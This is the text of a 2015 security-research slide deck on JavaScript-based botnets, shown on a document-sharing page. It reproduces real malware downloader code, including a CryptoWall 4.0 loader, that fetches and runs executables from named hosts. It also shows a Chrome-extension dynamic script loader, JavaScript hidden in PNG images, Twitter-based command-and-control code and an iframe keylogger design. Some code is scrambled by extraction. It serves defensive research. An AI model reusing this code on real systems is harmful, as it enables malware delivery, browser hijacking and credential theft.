Powered by Javascript

Powered by Javascript

Powered by JavaScript Renaud Bidou Technical Director – Southern Europe [email protected] / @rbidou /@XssPayloads Introduction <script>alert(‘hello world’)</script> JavaScript Today ECMAScript ActionScript v8 Flash Flex Nashorn Chrome Node.js Opera Chakra Java JScript 9 MS Edge IE Trident SpiderMonkey JScript .NET JavaScript Core Firefox Gecko Acrobat .NET Framework WebKit Safari QT5 ExtendScript Adobe CreativeSuite Copyright 2015 Trend Micro Inc. 3 Why JavaScript in Botnets ? Because you need … Copyright 2015 Trend Micro Inc. 4 Why JavaScript in Botnets ? Injection Propagation & evasion XSS & SOME Identify the network 2nd order through images Escape network detection Local file you shouldn’t have cliked Polymorphic propagation C2 Use social networks Operations Setup bidirectional communications Fingerprinting, geolocation Distributed C2 Data theft Background jobs Privacy abuses Persistence & agility DDoS … Dynamic code loaders Force download and more Cache compromise Copyright 2015 Trend Micro Inc. 5 Why JavaScript in Botnets ? Because all you need is in JavaScript Copyright 2015 Trend Micro Inc. 6 Injections 101 The infamous XSS Often considered as the Buffer Overflow of the decade 1 Attacker exploits XSS vulnerability ! Second order attack Targets browsers Vulnerable servers are only relays 3 Leverages JS capabilities 2 Injects JavaScript in pages visited Copyright 2015 Trend Micro Inc. 8 Downloaders Common JScript downloader var b = "newtide.3dmxwebservices.com ericacisneros.com www.norascosmetics.com".split(" "); var ws = WScript.CreateObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + "799285"; Download sources var xo = WScript.CreateObject("MSXML2.XMLHTTP"); var xa = WScript.CreateObject("ADODB.Stream"); for (var n = 1; n <= 3; n++) { for (var i = 0; i < b.length; i++) { var dn = 0; try { xo.open("GET", "http://" + b[i] + "/counter/?id=" + str + "&rnd=581824" + n, false); xo.send(); if (xo.readyState == 4 && xo.status == 200) { xa.open(); xa.type = 1; xa.write(xo.responseBody); if (xa.size > 1000) { dn = 1; xa.position = 0; xa.saveToFile(fn + n + ".exe", 2); Save to obfuscated filename try { ws.Run(fn + n + ".exe", 1, 0); Execute } catch (er) {}; }; xa.close(); }; if (dn == 1) break; } catch (er) {}; }; }; Copyright 2015 Trend Micro Inc. 9 Downloaders (function(dataAndEvents) { function request(xdomain) { CryptoWall 4.0 return new dataAndEvents.ActiveXObject(xdomain); } var QAKDHaz = true; var curPort = "DB.Stream"; var doRequest; doRequest = function(url, scope, deepDataAndEvents) { var req = request("WScript"+(1229173, ".Shell")); var xhr .= request("MSXML2.XMLHTTP); var nonStripName = "%TEMP%\\"; scope = req.ExpandEnvironmentStrings(nonStripName) + scope; xhr.onreadystagechange = function() { QAKDHaz = false; with(request("ADO"+curPort)) { open(); xhr.open("G" + (3882399, 462019, "ET"), url, false); type = 1; xhr.send(); write(xhr.ResponseBody); for(;QAKDHaz;) { saveToFile(scope,2); dataAndEvents.WScript.Sleep(1E3); close(); } return scope; if(new Date > 0,7125) { } req.Run(scope,0,0); } } }; }; doRequest("http://46.30.45."+"110/anali" + tics.e" + "x" + "e", "160967872.exe", 1); })(this); Copyright 2015 Trend Micro Inc. 10 More unexpected vectors Executing ECMAScript without a browser Local JScript execution C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe payload.js Using an XSS variant to bypass SOP Same Origin Method Execution (SOME) https://trusted-site/callback?cb=function_name Abuse of common callback functions ?callback= JS <script>window.opener.function_name(…)</script> ?cb= ?jsonp= ?cmd= ?readyFunction= https://trusted-site/callback.swf?readyFunction=function_name In parent child windows structures ExternalInterface.call(loader Info.parameters.readyFunction, ExternalInterface.objectID) Flash XSS via FTP – PoC – but promising NEW Copyright 2015 Trend Micro Inc. 11 Persitency AN EXAMPLE OF Browser compromise 1. A dynamic loader : load.js function connectLoader(retval) { Get content var URL= 'http://10.14.3.97/js'; from predefined URL Executes var scriptTag = document.getElementById('loadScript'); var head = document.getElementsByTagName('head').item(0); if(scriptTag) head.removeChild(scriptTag); var script = document.createElement('script'); script.src = URL; Creates Script script.type = 'text/javascript'; script.id = 'loadScript'; head.appendChild(script); } In HTML page header setInterval('connectLoader()',10000); Every 10 seconds Copyright 2015 Trend Micro Inc. 13 Browser compromise 1. A dynamic loader : load.js 2. A Chrome extension configuration file : manifest.json { "name": "JS hook", "version": "0.1", Name "manifest_version": 2, Version "description": "JS Dynamic loader", Description "browser_action": { Icon "name": "Manipulate DOM", "icons": ["icon.png"], "default_icon": "icon.png" }, "content_scripts": [ { "js": [ "load.js" ], Executes JavaScript dynamic loader … "matches": [ "http://*/*" ] … each time it loads http URL }] } Copyright 2015 Trend Micro Inc. 14 Browser compromise 1. A dynamic loader : load.js 2. A Chrome extension configuration file : manifest.json 3. An icon : icon.png Copyright 2015 Trend Micro Inc. 15 Browser compromise 1. A dynamic loader : load.js 2. A Chrome extension configuration file : manifest.json 3. An icon : icon.png 4. A directory where the files are extracted : ChromeInjection C:\temp>dir ChromeInjection Répertoire de C:\temp\ChromeInjection 27/10/2015 18:11 <REP> . Icon 27/10/2015 18:11 <REP> .. 27/10/2015 16:37 1 064 icon.png Script 27/10/2015 18:08 458 load.js 27/10/2015 17:28 300 manifest.json Configuration Copyright 2015 Trend Micro Inc. 16 Browser compromise 1. A dynamic loader : load.js 2. A Chrome extension configuration file : manifest.json 3. An icon : icon.png 4. A directory where the files are extracted : ChromeInjection 5. A command execution > chrome.exe -load-extension=c:\temp\ChromeInjection Extension directory Copyright 2015 Trend Micro Inc. 17 Browser compromise 1. A dynamic loader : load.js 2. A Chrome extension configuration file : manifest.json 3. An icon : icon.png 4. A directory where the files are extracted : ChromeInjection 5. A command execution 6. Bot loaded Copyright 2015 Trend Micro Inc. 18 Abusing Images ART FOR HACK Copyright 2015 Trend Micro Inc. 19 ART ? No … JS Copyright 2015 Trend Micro Inc. 20 JavaScript in PNG Step 1: Encode Javascript into PNG 8 bits color depth image Indexed colors # perl make-image.pl -j "alert('Gotcha')" -v ------[ MAKE IMAGE v1.0 ]------ Renaud Bidou [+] Number of pixels in the image: 15 [+] Image xss.png will be 3 x 3 [+] Pixel 0: 97 (0x61) / 108 (0x6c) / 101 (0x65) [+] Pixel 1: 114 (0x72) / 116 (0x74) / 40 (0x28) [+] Pixel 2: 39 (0x27) / 71 (0x47) / 111 (0x6f) [+] Pixel 3: 116 (0x74) / 99 (0x63) / 104 (0x68) [+] Pixel 4: 97 (0x61) / 39 (0x27) / 41 (0x29) [+] Pixel 5: 0 (0x00) / 0 (0x00) / 0 (0x00) [+] Pixel 6: 0 (0x00) / 0 (0x00) / 0 (0x00) [+] Pixel 7: 0 (0x00) / 0 (0x00) / 0 (0x00) [+] Pixel 8: 0 (0x00) / 0 (0x00) / 0 (0x00) [+] xss.png created. Up to you now! True colors Copyright 2015 Trend Micro Inc. 21 JavaScript in PNG Step 2: An innocuous-looking malicious piece of code function loadFile() { var oImg = new Image(); var strFile = 'xss.png'; oImg.src = strFile ; <img src=‘…’> loadPNGData(strFile,eval(strData)); oImg.onload = function() { } var iWidth = this.offsetWidth; SOP-free var iHeight = this.offsetHeight; 1 oCtx.drawImage(this,0,0); 2 moslty CSP-free var oData = oCtx.getImageData(0,0,iWidth,iHeight).data; var a = []; var h = []; var len = oData.length; var p = -1; for(var i=0;i<len;i+=1) { if(oData[i] > 0) { Load var charDec = oData[i]; if (charDec != 255) { & a[++p] = String.fromCharCode(charDec); h[p] = oData[i]; Decode } } } var strData = a.join(""); if(fncCallback) { Execute 3 fncCallback(strData); } document.body.removeChild(oImg); 4 Cleanup } Copyright 2015 Trend Micro Inc. 22 JavaScript in PNG Step 3: Run it ! Copyright 2015 Trend Micro Inc. 23 Command & Control THE SINEWS OF WAR Copyright 2015 Trend Micro Inc. 24 Twitter-based C&C @botnet_master: <a #botnet_command ddos www.target.com class="account-group js-user-profile-link" data-user-id="2513409536" href="/botnet_master"> <p class="TweetTextSize js-tweet-text tweet-text" data-aria-label-part="0" MASTER lang="en"> ddos www.target.com var master = "/botnet_master" ; var query = encodeURIComponent("botnet_command"); Embedded command setInterval(getTwitter,30000); Raw JavaScript Image URL function getTwitter() { [...] xmlhttp.open("GET", <a "https://query.yahooapis.com/v1/public/yql?q=selec class="twitter-timeline-link u-hidden" t%20*%20from%20html%20where%20url%3D%22https%3A%2F data-pre-embedded="true" %2Ftwitter.com%2Fsearch%3Fq%3D%2523" + query + dir="ltr" href="https://t.co/smv56W45W9"> "%26src%3Dtypd%26vertical%3Ddefault%26f%3Dtweets%2 pic.twitter.com/smv56W45W9 2&diagnostics=true", true); </a> xmlhttp.send(); parseCommand(xmlhttp.responseText); } BOTNET Copyright 2015 Trend Micro Inc. 25 Operations THE MAGIC OF JAVASCRIPT Copyright 2015 Trend Micro Inc. 26 Capture Keyloggers Can track sessions Identifies text fields name 1 Create invisible iFrame 2 Create specific query string for each keyPressed event Key Field 10.14.3.14 Session ID 7147655144799501 username 3 Change iFrame source with query string NO SOP… test password 4 Store in logfile test_password Copyright 2015 Trend Micro Inc. 27 Capture HTTPS Keyloggers Browser HSTS ! Can track sessions Screenshots 1 2 CSP Identifies text fields name History 3 a b Sniffly HTML2CANVAS Abuses HSTS and CSP Create HTML5

View Full Text

Details

  • File Type
    pdf
  • Upload Time
    -
  • Content Languages
    English
  • Upload User
    Anonymous/Not logged-in
  • File Pages
    45 Page
  • File Size
    -

Download

Channel Download Status
Express Download Enable

Copyright

We respect the copyrights and intellectual property rights of all users. All uploaded documents are either original works of the uploader or authorized works of the rightful owners.

  • Not to be reproduced or distributed without explicit permission.
  • Not used for commercial purposes outside of approved use cases.
  • Not used to infringe on the rights of the original creators.
  • If you believe any content infringes your copyright, please contact us immediately.

Support

For help with questions, suggestions, or problems, please contact us